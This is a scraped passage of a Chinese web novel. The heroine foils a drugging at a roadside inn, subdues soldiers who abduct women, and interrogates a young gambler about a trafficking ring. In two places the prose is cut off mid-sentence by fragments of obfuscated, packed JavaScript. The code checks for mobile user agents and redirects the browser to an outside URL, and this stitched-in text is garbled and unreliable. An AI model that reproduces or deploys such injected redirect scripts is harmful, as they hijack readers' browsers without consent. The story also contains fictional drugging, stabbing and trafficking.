“大皇子让你过来也是周全有心了,若是贸然上府恐被旁人说了闲话。麻烦尤娘子转告殿下,亦书一切都好,这腿再养些日子估摸也能下地走动了。”林亦书虽说的坦然,但言语之间多少还是有些羞涩。她微微低眉伸手摸了摸自己横在床边的那条腿感慨道,“父母之命媒妁之言,亦书运气好,殿下那日还对我稍微有些紧张。若不然……”林亦书看了眼尤苏寒疑惑的眼神苦笑道,“今日我见娘子跟我说了些心窝的话,娘子不把我当外人,我也与娘子就没什么好隐瞒的了。” 尤苏寒听到这里小步上前恳切说道:“以后你也莫要娘子娘子的叫我,我叫你亦书,你唤我苏寒即可。我比你看上去也差不多大,既诚信交作朋友就不必如此客套。”她说着说着上前拉着林亦书的手暖心笑着。 “若不然像一些女子一样,甚至还未见过一面,就嫁娶人家。好的夫妻恩爱和睦,不必多言。不好的就跟我母亲一样,跟我父亲一年到头都说不上几句话,常年青灯相伴。”林亦书眼底流露出让人心疼的忧郁,这还是尤苏寒第一次见到林亦书有这样的表情。在今天之前,她一直以为林亦书是个大方端庄,虽会些功夫傍身,但也算是循规蹈矩的女子,今日看来。她这争强好胜的性子,应是有其父母的原因。 “你这么爱好舞刀弄枪,是不是想要让你父亲注意到你。”尤苏寒有些不忍的问出这句话。这大概是一个姑娘藏在心底很久的秘密。 “不怕你笑话,我小时候看哥哥每次获得父亲赞赏就会得到一个奖励。所以我努力练习这些刀剑,包括我的琴棋书画也都不敢落下。我每日从早到晚拼了命的想要做好这些。只是想哪天父亲也给我奖励的时候,我可以让他过去我母后那边坐坐,二人好好聊聊家常。只是,这一天从未来过。”林亦书说话的声音变得越来越小,她不曾想到,自己倾诉的对象竟然是一个刚见过三次的女子。她虽不曾嘴上言语,但心里那种相见恨晚的情绪更加变得浓烈。她从小到大,还从未有过这样的感觉。 “林大人和林夫人二人就只是感情不好吗?” “从我记事以来,他们就一直是这样的状态。”林亦书忽然抬头一笑,“不说这些不开心的,我们聊些别的。”那些儿时的不好记忆就像阳光下隐藏的暗影,林亦书不愿多想,掩饰是她多年以来探索出来自我疗养的一种方式,笨拙且无可奈何。 “那我们来聊聊大殿下吧。”尤苏寒俏皮的拉着林亦书的手窃笑逗趣道:“你可知大殿下早就喜欢你了,只是他一直不知如何开口,皇后这才把你们往前推一把,成全了他。” “你可莫要胡说,我跟大殿下统共就见过那么几次,哪里来的中意。”林亦书的脸变的更加绯红,刚刚还阴郁的神情一下被冲上脑门的羞涩冲的烟消云散。 “我骗你做甚,二殿下亲口告诉我的。”尤苏寒得意的看着林亦书,连她自己都未察觉,她提起刘渡时有多自然顺口。脸上的笑容也比刚刚多了几分。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12852914|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。”虞初笑呵呵的盯着史容新,“希望我们再见之时,郡主已然顺心遂意。” “啊……虞初,你是要走了吗……”史容新不舍的抓着虞初的胳膊,眼角逐渐湿润,“我刚学会了缝针,可是你那开膛破肚的本领还没教给我呢!” “那可不是一两日就能学会的。郡主天资聪慧,短短数月,缝针已经学会了。下次有机会再见面,我定会倾囊相授,决不食言。” “倾囊相授?” “自然,这些医术技能会的人越多,受益之人也会越多。” 二人说话间早就忘记时间,最后还是青草又在后面喊了两声,虞初这才耸耸肩拍了拍史容新的手:“郡主,时间真的不早了,再晚回去穆亲王又要担心了。” 史容新听话的松开了手,见虞初往马车那边走了几步,最后还是没忍住跑过去抓住虞初的衣角:“虞初,你别去北齐了,你跟我回去吧。” 虞初惊讶的看着史容新,见她脸上表情纠结不忍,怔在原地迟迟没有反应过来。 “陈羽轻……如果……我说如果……找不到三殿下,你就回来。”史容新纠结半天还是没能整理出一句完整的话来。 虞初释然笑道:“放心,我是回去找人的,不是这么着急回去送死的!” 史容新知道虞初去意已决,便也不再挽留。看着虞初她们上了马车离开后,自己也一跃上马,跟着身后的几个随从婢女一同回去了。 第一晚驿站,出乎意料的平静。虞初有怀疑过王世秦有派人暗中护送他们。可夜半时刻出来几次观察周边,好像都没有见到有王世秦的人跟着。 “还真使唤他惯了,要是再来那才是剪不断理还乱了。”虞初畅然长吁了口气,见周边无事,这才安然入睡。 可是第二天停驻的那个驿站就没有第一日那样顺心了。先是风川不知吃了什么一直不停的拉肚子,再就是虞初总觉得这家驿站有些奇怪。具体哪里奇怪她也说不上来,就住的浑身不自在。 虞初留下影儿在房间里照顾风川,自己带着青草下楼找老板要了些吃食就在楼下准备用饭。 “夫人要了含香栗肉还有翠绒青丝和翘嘴鹅,再四碗米饭。可要酒水?” 虞初皱着眉头听完了老板报的那些菜名,先是拒绝了酒水,然后感叹起来:“老板看来也是闲雅之人,起的菜名都这么有意境。” “我哪会起什么雅名,都是之前有个公子过来时,嫌弃我这名字粗鄙无趣,临时给我把所有的菜单都给改了。这来往住客许多,奇怪的也不止这一个。就拿前些日子来说,这周边突然多起了很多官兵。我们本是跟北凉相交之地,有官兵也不奇怪。可前些日子多的也实在是奇怪了些,有点吓人。特别的刚刚瞧见夫人还带着个孩子,出门在外,还是小心一些。” 老板话刚说完,外面吵吵嚷嚷的一下子就灯火辉煌了起来。听这声音怕是有二十来号人,虞初看了眼青草,二人都警戒了起来。 175. 第 175 章 青草见外面来了动静,立马就要起身护住虞初。 “青草坐下吃饭。” “夫人……” “坐下,外面的事情跟我们没有关系。”虞初看着还在注意外面动静的老板,小声提醒道,“我们的菜就这些,尽快上来就是。另外再给我拿来一根蜡烛。我吃饭喜欢亮堂一些。老板你这驿站的灯光于我而言还不够,麻烦你另外给我准备一支蜡烛,上菜的时候一起带过来。” 老板抬眼看了一眼周围,这屋里亮度虽不及白日间明亮,可是吃个饭还是绰绰有余的。他刚想说明这灯光够了,见青草将一个不小的碎银放在桌上,立马又闭了嘴,点头哈腰笑嘻嘻的就应下走开了。 “夫人,我们确定不要回避吗?” 虞初张眼望了一下外面,又扭头看了看还在厨房忙活的几个伙计:“再看看,刚刚老板淡定的当成什么事情都没发生一样站在这继续等我们点菜。这老板看起来有点奇怪……不过这些官兵是我知道殿下消息的唯一途径,我想试试。刚刚老板说,这些官兵前些日子开始就经常过来。我想不是找殿下的就是找陈羽轻的兵马。你瞧他们,也不像是效率多高正儿八斤找人的的兵马。稀稀朗朗的八成是找殿下的。” “那他们……”青草听到是找刘渡的军队,立马就要起身拉着虞初离开,“现在能派出兵马出来找人的不二殿下就是陈相。若其中有人见过你,夫人不就……” “是当今圣上,不是二殿下。” “哼!” 虞初知道青草很不喜欢刘渝,经常听见她抱怨,若不是刘渝,事情也不会变成现在这样。在青草眼里,刘渝是所有事情的因,一个坏透了的因。 “不用担心,你看他们懒散悠闲,估计也是被派来做做样子而已。我看应该是刘渝的人,若是陈云的,失踪的还有陈羽轻,绝不可能只有这么十几二十个人。不把这驿站翻个底朝天怕是不会罢休。” 话刚说完,老板就拿着个粗壮的蜡烛走了过来:“夫人,这个可还行?” 虞初憋笑的接过那跟比她手腕还要粗一些的蜡烛:“老板这……下血本了吧。” “这是我们厨房师傅们炒菜用的。看起来粗壮短小,其实很经用。我这也是想着夫人吃完饭,我还可以将这剩下的蜡烛拿回去给厨房继续用嘛,也好节省些费用。” 虞初看着老板,圆润憨态的脸配上那粗壮的身材倒像是个老实人,没想到还是个会精打细算的细心人。 “挺好,正合我意。” “行,夫人你先吃着,菜也快好了,等会上来你就赶紧吃完早点上楼去。外面这才人粗鄙的很,我怕吓到夫人。” “好。” 老板走后,青草就拿出火铳点了蜡烛。虞初撵开一颗丸子撒在烛芯,随后拿起酒杯倒了点点水清洗了手指上的残余药粉。 “夫人,菜来了。” 这次上菜的不是刚刚那个老板,而是一个十七八岁的年轻小伙。 “你是新来的小二?” “不是,我自前年就在这帮姐夫干活了。如今已经是第三个年头了。” “哦,你烧的菜?” “是我姐烧的,我只帮忙打打下手。夫人慢用。” “刚刚听你姐夫说,你们驿站有个很出名的酒,要不然你给我拿两瓶过来。” “夫人是说的哪个,我们这有三种,黄酒千山,米酒汝胡还有一个平常的多歌。” “这么多讲究,跟你们菜品一样,都是很让人意外的名字。”虞初说着忍不住笑了起来,毕竟刚开始她听了那几个菜名,以为是很精致的菜品。如今看了这菜,其实说白了就是栗子烧肉。爆炒茄瓜,还有个意料之中的炖大鹅。想来那酒也是普通的不能再普通的米酒黄酒白酒了,不过是多了个可有可无的雅名。 “那夫人是想要哪个?” “就多歌吧,拿个四瓶过来。” 小伙听后“嗯”了一声,转头就去准备拿酒。刚走两步青草就喊住他:“你们这个鹅怎么有两个脑袋,你再来看看,鹅掌竟有3个!” 那小伙听后连忙过来:“夫人,是这样的,这个大鹅我们每锅都是一起炖上个四只左右的。不然吃饭的人多了,一只一只的烧是来不及上菜的。我刚刚看了一下夫人你这盘里的大鹅,确实头和鹅掌偏多。这样,我等会再给你上一碗,那盘就送给夫人吃可行?” 青草哼笑的看了一眼虞初,见虞初点了点头也就没有再纠结。小伙见青草没有再多说什么,就继续回去拿酒去了。 “夫人……”青草刚准备说话,那个老板就又走来了 “这是送你们的一份翘嘴鹅,夫人吃完赶紧上楼进屋吧,这边人多繁杂,莫要多待了。”这次虞初没有说话,只点头应下。那老板见虞初知道了就又回去厨房继续帮忙去了。 “砰……”! 虞初把玩着那四瓶多歌,将酒瓶上的酒塞拔了又放,放了又拔。突然听见一声门响,见外面十几二十个士兵直接冲进里面。吓得手一抖,酒瓶塞子直接就滚到了地上。 “人呢?” 那士兵头子刚进门就冲着厨房里面的老板要人。具体是要何人,坐在旁边云里雾里的虞初也不清楚。 老板慌慌张张的从厨房里面出来,扫视了周围一圈,眼神惶恐紧张,张口说话时也不如刚刚跟虞初讲话时利索。 “大人这又是要什么人,我这小店没有看到大人要找的人啊。” 那士兵先是看了一圈在里面吃饭的路客,在看见虞初和青草时突然眼前一亮的笑道:“这不是吗,大爷我今日要找的就是这两个美人!” 说着就下令让后面的几个士兵过来将虞初和青草绑回去。那老板见士兵过来,连忙就抱住士兵头子的腿:“大人,这两个姑娘就是路过,不是大人要找的人。大人不是找的是个男子吗?” 那士兵头子哪里有耐心听老板讲话,直接抽出脚来朝着他的胸口踢了一脚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872865|134603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我要找的明明就是两个女子。什么时候跟你说是一个男子了。”刚凶神恶煞的说完这些,再看向虞初时语气立马开始轻浮油腻笑道,“也不知道这两个美人是不是我要找的姑娘。先带回去,我慢慢对照!” 青草听见这个轻薄的语气早就气不打一处来了,她伸手摸在腰间的匕首,准备伺机而动。 虞初看到青草按耐不住的手,抬眼耸眉给她使了个眼色,青草这才又将手垂下。见几个士兵往他们这边过来,上前几步挡在虞初前面,求饶道:“我们只是路过,老实本分,从不干伤天害理的事情,又怎么会是大人要找的人。” 那几个人哪里会听,反而听见青草娇喃的声音愈发的来了劲。个个脸上漾着猥琐的笑容上下打量着眼前的两个美人,脚步迫不及待的往那边快步迈进。 眼见就要到青草跟前,也就两个手臂的距离。虞初突然从青草身后探身出来:“我们的确不是你们要找的女子,但是我知道你们要找的那个男子是谁,并且知道他藏身与何处。” 听见虞初说话,那士兵头子警惕的叫停了那几个迫不及待的士兵:“等等,你说你知道我们找的谁?” “我还知道,你们的任务应该只有一个男子,没有什么姑娘。至于是谁,你过来把画像再给我确认一下。我来确认一下到底是不是前两日见过的那个人。若是,我将他的藏身之处告知于你,你放我们姐妹二人离开。大人答应否?” “哼,有点意思。给你看也无妨。”那士兵头子想着来此处这么多天,别说一直没有找到人,就是一点线索都没有得到半点。如今终于有人说见过,想着先将线索套知出来,到时候不过是两个手无缚鸡之力的丫头,放不放人还不是他的一句话的事情。 那张画像展现到虞初眼前时,虞初憋着一口气没骂出来。想着身陷囵圄还是本分些好,没办法又假模假样的笑道:“果真是我见到的那个人,虽然那天他脸上有些伤痕,身子看起来也很虚弱,但我这个人见过一次就会记得,一定是他。他跟我说他叫刘……什么来着。” “他说他姓刘?”那士兵首领听见虞初说到重点,立马上前揪住虞初的胳膊,“刘什么?” “我刚刚说我记得人脸,偏偏我的文字记忆又很差,我隐约记得他好像叫什么刘肚子。” 青草听见这话,眼球在眼眶里接连转了十几圈才缓缓停下。她清了清嗓子一本正经道:“谁会真的去记一个陌生人的姓名,不过是一个路人,我们能记住容貌已经算是记忆超群了。” “这刘肚子,虽然有些离谱,但是想必是这姑娘也是真的见过刘渡。” 士兵思量一番,一本正经追问道:“在哪里见过他,从实招来。” “我们又不是犯人,你干嘛对我们这样讲话!”青草哪里忍得住这人对虞初大呼小叫,扯着嗓子就对着那士兵头子叫嚷了起来。 眼看着二人就起兵戈,虞初连忙上前一步支开了青草:“我说!” 176. 第 176 章 “算你识相,说就对了,省得我还要对美人下手,我还是很怜香惜玉的。”士兵头子满意的朝着虞初跟前走了几步,最后要不是青草伸手拦住,想必他还要再亲近一些才肯罢休。 “前两日,我在前面的垚途庄见过他,他看起来身子不是很好,虚弱的很。” “就他一个人?” “反正当时我看见他的时候没有看到他身边有什么人。哦,不过……” “不过什么?”士兵头子急切的想要知道。虞初故意放轻声音 “你说什么,大点声……”说着那士兵头子就往虞初那边凑近了一些。他侧着耳朵,用肩膀用力挤开青草挡在中间的胳膊。青草也不阻拦,嫌弃的让开了胳膊往旁边多站了一些。那人先是看了一眼青草,也不在意她翻上天际的白眼,只顾催促着虞初快点说话。 “他在……”虞初右手一甩,打翻了桌上的一瓶酒,“哎呀,怎么倒了。”说话间虞初就要去拾滚到桌边的酒瓶。 “别管那些酒了,你快说。” 虞初俯身放好瓶子,突然听见那士兵头子背后又高声喊了一下,吓得手一抖,连着旁边的几瓶都倒了下去,滚了一地。 “这可是我花银两买的好酒,大人就是要听消息也不能这样吓人逼问。”虞初有些生气,不过见那士兵头子表情更加难看,软语下来不情愿道,“我说就是。” 虞初先注意看了一眼站在不远处的士兵,然后又张眼看了一下厨房。见众人都等着她说话之时,虞初突然往后一闪,用手带了一下桌上的蜡烛,那蜡烛掉在满是酒水的地上,霎时间就引起一片火焰。 那士兵头子起初见状那是又惊吓又生气,后来见火焰也就局限在一丈之内的酒水滩上,哼笑鄙视虞初起来:“我只当是什么能耐,就这火,你想烧死谁。敢跟我耍小聪明,怕是活得不耐烦了!” 那士兵头子眼睛爆瞪着虞初青草,看见她们连话都不敢讲,二人紧缩贴在墙边又饶有兴趣的坏笑起来:“看来老子我要好好教训教训你们两个不知天高地厚的丫头了。” 后面的几个小士兵看见头子想要抓人,自然是自告奋勇的上来。一手摸着腰间的配刀,一手摸着下巴,好生猥琐的冲着虞初青草二人就去了。 “夫人……”青草伸手将虞初拦在身后,两眼犀利的盯着往这走来的几个士兵以及那个猥琐的不能再恶心的士兵头子。她紧绷着身子,另一只手已然拔出了腰间的匕首。 “要不要我给你换一个长点的剑来,都没我手长的匕首,你还想真用这个杀死谁啊,哈哈哈哈……” 青草扯嘴冷笑,那匕首在她手上来回盘旋,手心转了一圈又一圈,最后在那几个人不注意之际,径直就朝着那个士兵头子的头顶飞过,直挺挺的插在士兵头子身后的木窗旋木之上。 “剑,我有!” 说完青草刚想拔出藏于腰间的软剑,被身后的虞初伸手拦住:“对付他们,不用这么麻烦,时间差不多了。” 那士兵头子仰着头倒看身后那只匕首,不知是否自己被这匕首穿顶而过吓到了还是仰头太过,一下子眩晕了起来。他的呼吸接紧接着就变得局促,几番想深呼一口气都没能,最后四肢无力直接就瘫软倒在地上。随之而落的还有刚刚匕首穿过头顶落在身旁的盔甲帽顶圆球,叮当落地,又往旁边滚了几圈。 身后的那几个士兵见自己主子倒下哪肯罢休,顿时个个脸上凶神恶煞的就直瞪着二人过去。可刚怒气上头,都没来得及说一句狠话,就个个像个瘟鸡一样应地而倒,人仰马翻倒了一地。就连刚刚跪在地上求情的老板也没能幸免,胖乎乎的肚子弯在身下,整个人趴在地上,一脸贴在地上,眼神立马涣散无神。 厨房里的姐弟二人听见动静也接连跑出来查看,那掌厨的妇人还好,抱着趴在地上的丈夫哭了一通,大概是伤心太过,后来也倒下身去。里面那个弟弟指着青草虞初二人质问道:“为何就你们没事,是不是你……下……” 话还没没完,也倒了下去。 青草见整间屋里的人都倒得差不多了,自己先步上前一一踹了两个试探是否有反应。见不能动弹后又直接重重踢了一脚,还是不动! 虞初走到厨房翻找了一圈,找出来几圈麻绳扔给青草。二人废了一些时间才将二十几人统统捆绑完好,然后青草自己去厨房找了一些食材,随便炒了一些菜。先端了几碗送到楼上,然后剩下一些端到虞初坐的那桌子上,二人毫无顾忌的吃起了饭来。 “刚刚饿了看那些菜好想吃,夫人不让。现在这些都是我自己烧的,可以放心了。”青草说完也不跟虞初客气,先就着手上的米饭吃了起来。 “下毒手段太拙劣了,刚上来我就闻到味道了。” “我想不通,刚刚那个老板不是还为我们求情了,怎么又给我们下毒了。真是知人知面不知心,我还以为他真是个好人,哼,等一下第一个扇他!” “他确实不是装的,我刚刚看了,那药粉是后来撒在菜上的。若是他们夫妻二人有心下药,当时下锅时就应该直接下药,也更隐蔽一些。”虞初折腾这么久,也属实有些饿了。边说边吃,也顾不上用膳仪态了。 “那是……” “就那个……”说着虞初拿起手边的一个筷子直接掷到那个男伙计脸上,“看着清清爽爽,有模有样的,背地里竟然也学会了这些腌臜事情。之前不知还祸害了多少姑娘女儿。” 虞初是最看不上这样的人的,十七八岁,在她眼里还是个不成熟的孩子。可是想到这般大的人竟然做出了这些事情,自然心如口般一样唾弃不堪。 青草一头雾水的看着虞初,虽有些不解,也不忘先吃完再慢慢询问,埋头就接着干饭。 待她们主仆二人都吃完,那些士兵们也陆续开始苏醒过来。有些只觉得头疼,不停的甩头试图清醒。有些看到青草虞初二人坐在眼前,立马破口连骂带威胁的叫嚷:“两个不知死活的东西,竟然连我们大人也敢绑。” 那士 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那伙计抬头看向虞初,不知为何,她没有威胁恐吓,甚至连问话的声音都不算大。但是她周边的气压极低,不自觉的就老实识相的回起了话。 “我也是被逼无奈,若是有选择,谁会干这样伤天害理的事情。”伙计的话一说,那士兵头子立马转头怒瞪着他,后来余光瞥到青草,又老实的转身过去,什么话都嘴边都硬生生的憋了回去。 “夫人,弟弟年轻不懂事,姑娘能不能……手下留情?”老板娘泪眼婆娑的往前挪了几步跪在虞初跟前,她两手死死拽着虞初的裙边,两手尽管已经抖的停不下来,还是没肯放手。老板娘矮矮的,体格不算瘦弱。在虞初眼里看来这老板娘跟老板是有些夫妻相的,两个人都脸蛋圆润,连肉肉的手背也及其相似。 “做多久了?” 虞初不顾老板娘求情,不予理睬,转而继续盘问着伙计。 “刚做不久……” “我再给你一次机会!”虞初平静的看着伙计,眼睛瞥着还在哭啼求情的老板娘,“就一次机会!” “就前几天……”那伙计支支吾吾,旁边的老板娘突然打断哭道:“你就老实交代,实话实说夫人还会放你一马。” 虞初冷笑:“谁说我会放过他了,那之前被祸害的那些姑娘,谁放过他们?”虞初扭头看了一眼青草,“青草,你过来,去厨房走一圈,那边刀具不少,看看有没有称手的,借来用用。” “好的,夫人!” 老板娘见青草去了厨房,立马哭的更加厉害:“夫人,我来说,我来替他说,绝不会有半分隐瞒。” 虞初蹲下看着老板娘,一脸可惜道:“看来你早就知道他的所作所为,知而不管,纵容包庇者,形如同党,更加冷漠可恶!” 说着虞初就抬手往老板娘脸上就是一巴掌,没有一点犹豫。旁边的伙计见自己姐姐因为替自己求情被打,想着虞初确实不像个心慈手软的人。心里虽不情愿,但还是阻止说道:“一人做事一人当,我自己说!” 177. 第 177 章 游凤镇 “两个月前,店里开始经常有官兵来往。起初,他们只说是找人,具体找谁也不说,就说是一个男子。”那伙计说到此处看了一眼虞初,“后来又说找一个女子,一个连画像都没有的女子。起初他们带走他们的时候我是真的以为是他们要找的人。后来我也觉得不对劲,怎么带走了一个又一个。若都不是,当时就应该看得出来,何苦要等到回去后才发觉。” 虞初转身坐到椅子上继续听着,那伙计见虞初无话,继续讲述着:“后来有一次大人找到我,说是每次强抢动静太大,难免会引起周围村民民怨大起,于是就想让我暗中帮忙。若是不同意,那我们的下场就会跟那些女子一样,甚至有过之而无不及。不会放我们一家安生。” 那伙计还没讲完,士兵头子就按耐不住起身唾道:“放你娘的屁!就你那张颠倒是非的臭嘴,老子非要撕了不可!”说着士兵头子就起身要往伙计那边冲过去,后来见青草过来,动作幅度才渐渐小了下来。 青草拦住士兵头子后,那伙计又继续说道:“之前他就是这样威胁我的,恐怖如斯,我等平民又怎敢反抗。” 虞初看了一眼老板娘,又看了看老板,只见他们二人低头不语,等着自己说话。那伙计见士兵头子被青草制的服服帖帖,神情也比起刚刚愈发的轻松起来。 “起初七八日才来一二次,现在见无人敢违逆他们,已经是两三日就光顾驿站一次。大概是周边的村落也有些耳闻这边的事情,不论真假,他们路过此地停留的次数也逐渐变得少了许多。夫人你瞧,今日除了刚刚吃完赶路的两个男子,就是你们了。若我不按照大人的吩咐,将你们迷晕给他们带走,那倒霉的就是我和姐姐姐夫三人了。” 少年伙计越说越委屈,脸上忏悔又无奈的表情让人着实是有些同情起来。青草盯着那个士兵头子,坚决不肯他过去伤害那个年少伙计半分。 虞初深吸一口气起身走近老板娘身边:“你可有补充?” “我……”老板娘欲言又止,最后见虞初咄咄逼人的眼神,鼓气说道,“没……没有……” “哼!”虞初冷冷的哼笑了一声,听得在场所有的人都有些后背发凉。她绕着伙计和老板还有老板娘走了一圈,然后走到窗边拔下青草刚刚插在窗框上的匕首:“我说过,只有一次机会!” 说着直接将匕首从伙计后背右上方插进了□□。小伙计“啊”声大叫起来,立马到底大叫挣扎。那老板娘哭趴到虞初脚边,连忙磕头:“夫人,求求您,夫人,求求您手下留情,我们再也不敢了……” 哭声越来越大,那几个士兵看了不禁吞了吞口水,尽量避开虞初的一扫而过的目光。士兵头子看见虞初抽出那血淋淋的匕首时禁不住脱口而出:“这么狠……”刚感叹完对上了青草的目光,立马避开目光憋着声音干咳了两声。尽量不引起这两位姑奶奶的注意。 那胖老板见自己媳妇哭的昏天暗地,一直保持沉默的他终于开口了。 “夫人莫要怪,三年前我老丈人去世,我这内弟这才投奔我们这里来了。刚开始听话也会干活,我也不觉得有什么不好的。不过是多个吃饭的人,我这驿站虽说不是大富大贵,但也不差这一口半口的吃食穿住。可是……” “可是他热衷赌博!” 老板娘本来哭的正伤心,听见虞初如此轻易的就猜到了赌博,不禁停下来看着虞初:“夫人怎可得知?” “他说他是前年就来你这里了,并且是长期在你厨房打下手。厨房里的工作,不管做什么都算不得轻松。我能想到最轻松的就是传菜了。可刚刚给我们传菜的基本上都是老板亲自过来。”虞初走到伙计身边,蹲身下去一手拿起他的手,“你再看看,这白嫩的手像是平日里会干这些粗活的人的手吗。我刚刚跟他聊天的时候,他的大拇指和食指不自觉的撵着,多半是平日里常撵纸牌的缘故。” 虞初知道这伙计年纪虽不大,可习惯赌博的人,就算是刚开始百般好心肠,沾上这个,后面也会走火入魔,什么都干得出来。她转而看向了那个被青草拦在旁边的士兵头子,见他有意避开自己眼神,索性径直朝着他走了过去。 “在我之前,你带走的那些女子都哪里去了?” 那士兵头子盯着虞初手里还在往下滴血的匕首,支支吾吾。 “在……在……” “哪里!”虞初将匕首贴在他脸上,顺着脸颊将上面的血渍擦在他的脸上。士兵头子的下巴一上一下不停的抖动。倒也不是他不想说,而是此刻他确实吓得不轻,说话结结巴巴。若不是现场气氛凝重压抑,想必许多人听了都忍不住笑两声。 “离这不远……的有个县城,里面……里面有……” “好好讲话!”虞初听他结结巴巴很是闹心,也不再吓他,将匕首收到了身后。 “好……好……” 依旧没有利索多少,虞初眼底尽显无奈。那些站在士兵头子身后的士兵刚开始还在义愤填殷的想要为自己头子报仇雪恨,后来晕倒被捆之后,都安分不少。又见血匕首后,一个个都变成了老实巴交的“哑巴”。不管虞初如何威逼利诱他们头子,只当听不见,毕竟自己都泥菩萨过江,自身难保了。 “游凤镇里的那个远近闻名的琉璃江不知姑娘有没有听过。” “没听过,我又不是这里的人,你讲你的事情,还反问我起来了!” “哦,哦……没听过也正常。琉璃江江边岸处清澈碧青,如玉似翡。因这游凤镇地处齐凉两国交界处,多数治安行商条约在此处多为灰□□限。也正因为这模糊界定,没有条条框框的限制,这边的商贾交易随处可见。岸边来往商船数不胜数,交易商品更是琳琅满目,有些甚至闻所未闻,甚是稀奇。不过这江边的交易虽多,那也 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“这可就冤枉了,我们也是刚来两三月。而琉璃江上的船只已有数年,我卖……我送过去的姑娘也就寥寥数几。跟上面的比起来,可算不上什么。”或许是怕虞初听到难忍之处也给他来上一刀,这士兵头子是随时随地都不忘解释自己所犯行径,比旁人比起来算不上罪大恶极。 “那些姑娘为何不跑?”青草听到那些经历凄苦的姑娘,心下不免暗生怜悯。 “姑娘你以为那舰船为何停滞江中,一是防止船上的人跳水逃脱。二个就是,若真有那种性子刚硬的不听劝导的,真教训出什么事情,直接就神不知鬼不觉的在江中就处理掉了。那些姑娘大多胆小,又没几个熟通水性。若想逃脱,那几本上是不可能的。当然,也有那么几个长得漂亮的,运气也不错的,被商贾看中带走的。不过这样的到底是少数,大多一生都是在船上度过无疑了。” “可以赎身带走?” “那是自然,那些大商贾个个单挑出来都是富甲一方,真开口要什么,不管是避免惹事还是送做人情,这样的行径都是允许的。也正因为有些姑娘会被人赎身带走,所以才会时不时的再买些姑娘上船。” “所以你就为他们效力?” “说到这事,还是那个家伙给我指的这条歪路呢!”士兵头子说着就扭头极力撇清关系的指着那个小伙计,试图将自己的过错归咎在伙计身上。 虞初毫不意外的看着那个伙计,尽管他已经疼的面目扭曲,在听见士兵头子指证他是始作俑者时立马清醒不少,跪在地上就不停的朝着虞初磕头认错道:“我也是被逼的,要不然谁家好人去做这等伤天害理的事情。姑奶奶,我全告诉你,你饶了我。” “早说也不用挨刀了不是!”虞初边说边看着士兵头子,那士兵头子看着虞初硬生生憋出个笑容,比哭还要难看一些。 178. 第 178 章 赌坊 “有一日我跟姐夫去镇上采买,我在那边扛着两筐菜等他去送钱结账。起初姐夫说去去就来,可我等了有两刻,都没有等到人来。我挑着两筐菜想去里面找他,后来看见路边有人喊人进去试试手气,说是进门就给我一两银子作为本钱,输了不用还,赢了银子就全算自己的。我刚开始也不相信,世上竟有这等好事。可是经不住那人一直拉我进去,我就想着进去瞧瞧,若是觉得有不对劲的地方我就立马出来。这赌坊大门是敞开的,总不会大白日的拦着人不肯出门的吧。” “然后呢,怎么又不说了?”虞初见他突然停下,不耐烦的催促起来。 “那日我确实赢了些银两,大概有十两银子,我就赶紧收手出去了。姐夫正好也在门口找到了我,还叮嘱我以后不要再往这种地方来,就不把这事告知我姐姐。本来我也确实想着不去了,可是每日在这驿站帮忙,姐姐姐夫供我吃住,每月还会给二两银子。我姐姐姐夫对我虽好,可是厨房里的这些工作实在是太苦了,我有些不想干了。后来一想,那日就半个时辰不到,我就赢了十辆,那我要是多赢一些,岂不是就不需要再做这种累人的活计。我姐姐姐夫以后也不用再每日起早贪黑,没日没夜了。” “得,这种孝心不用拉上你姐姐和我,我们可不想有这样大的福分。”老板听到此处忍不住吐槽了两句,虞初斜眼看他脸上嫌弃的表情倒也不觉着过分。这要搁一般人,将这倒霉弟弟赶出去也还算轻的。 “后来又赢了几次,可不知道为什么,再往后运气就没有再好过一次。就是偶尔赢一些,那也是我输掉的那些银两的零碎头子。我越发觉得不甘,可我没有银两,只能……只能……拿了姐姐姐夫的积蓄。” “你倒是给“拿”重新定义了一下!”青草冷笑,不用说她都能猜到接下来事情发展的走向。平生最讨厌这样的蛀虫,现在多看他一眼就想上去扇他,可虞初还要留着他找到那些女孩子,就只好自己忍忍了。 “姐妹姐夫……的那些积蓄。其实也没有多少,就两三天的时间,就被我输没了。后来那赌坊见我实在没钱了,就说看我是老客了,可以借我一些。我当时还挺开心的,觉得赌坊还是有一点人情味的。可是无奈我的手气不好,后面全输的一干二净。” “人情味,还是年轻。”虞初无奈的摇头,尽管是吐槽,声音很小,她没想打断伙计的讲话。 “后来欠的钱越来越多,实在是没办法还钱了。他们就打我,还来驿站找我姐姐姐夫的麻烦。姐姐见我被打得太狠了,又帮我还了一些。后面剩下的姐姐姐夫说只要我改,就慢慢给我还上。只要我以后再也不去赌坊就好。” “那你后来为什么又去了?” “因为姐姐姐夫帮我把钱还的差不多了。有一天我又路过了那个赌坊。里面的人说让我进去看看过过瘾,不用下场。”伙计说到此处自己用手甩了自己一个巴掌,顿时脸上就被手上的血渍按了个大大的掌印,裹住了大半张脸。“后来我看那个人手气很好,但是他赢了钱起身要收手回家。我觉得那个位子很旺,就舍不得放弃这个机会。我就又跟钱庄借了些钱。” “好了好了,你直接说谁让你做这事的,我不想听你那些扶不上墙面的事情,越听越烦。” 虞初实在是有些不耐烦了。 